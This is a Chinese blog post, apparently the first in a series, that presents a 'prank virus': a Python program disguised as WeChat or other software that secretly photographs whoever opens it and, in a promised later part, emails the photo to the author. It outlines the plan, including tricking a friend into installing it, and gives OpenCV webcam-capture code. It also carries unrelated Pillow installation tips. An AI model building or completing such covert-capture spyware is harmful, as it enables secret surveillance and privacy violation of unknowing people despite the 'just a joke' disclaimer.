打开摄像头,偷偷给你拍张照片,嘻嘻
只做有积累的事情,毕竟”厚的“载物。——杨数Tos
0
前言:
大家好,我是杨数Tos!
不知道大家有没有这样一种感觉,学了那么久的技术,除了工作中用到之外,好像啥也干不了?(特别是零基础学python的同学)
在这里阿数写一段简单的”病毒整蛊“代码,实现的功能是:
将一段程序伪装成微信或者其他软件,别人打开之后会正常打开软件,但程序会偷偷拍一张照片,并将照片发送到指定的邮箱。
正文开始
假如你想写一个“病毒整蛊”程序和朋友开玩笑,你需要经过以下几步的处理工作:
1、实现“病毒”主体功能(如:实现拍照片功能)
2、将主体功能获取到的信息发送给你或朋友(发邮件功能)
3、将程序打包成为一个可执行的程序,让你朋友在不经意间安装。
4、向你朋友炫耀,并大声“嘲笑“,哈哈哈!
这篇文章主要内容是:利用Python实现控制摄像头拍摄照片。
1
安装opencv
如果想从事计算机视觉、图像处理的工作,基本上都离不开PIL和opencv这两个库。
其中PIL侧重于图片处理,而侧重于图像处理。
opencv作为python的第三方库,安装只需:
pip install opencv
调用opencv则:import cv2
PS:
(之前使用PIL时历经各种坑,最坑的莫过于安装PIL,有需要安装PIL的朋友可以看下PIL的正确安装步骤)
正确安装PIL库的步骤
1、先查看自己的Python版本
2、去PIL的官方文档中查看,自己Python版本对应的PIL包的版本;( 这个网址可以查看PIL对应的python版本:https://www.lfd.uci.edu/~gohlke/pythonlibs/#pil )
3、pip install pillow (官方版的PIL只支持python2,然后大佬们弄出了pillow,在Python3中可以使用。
如果你已经安装 pillow,但是from PIL import Image报错,没有Image这个包,那基本就是pillow版本与当前Python版本不匹配的问题,卸载pillow,找到对应版本重装即可。
2
打开摄像头拍照并保存
拍照功能分3步走:
1、打开摄像头;
2、拍照;
3、保存照片;
使用opencv调用摄像头非常简单,只需一行代码;所以要完成打开摄像头、拍照、保存照片也只需3行代码;
以下是完整代码:
import cv2
cap = cv2.VideoCapture(0,cv2.CAP_DSHOW)
ret,frame = cap.read()
cv2.imwrite("test.jpg",frame)
PS:这里有个小bug,我没有关闭摄像头拍照时的闪光灯。
以上是本文章的内容,下一篇文章:通过Python发邮件+具体实现代码。
注:这是系列文章,如果您需要文章中的完整版源代码,请关注杨数Tos,回【拍照zg 】即可。
提示:以上内容,仅作为杨数Tos个人的技术分享,纯粹游戏之作,请勿用于非法用途。
本文由杨数Tos原创,欢迎关注,一起长知识。
往期内容
end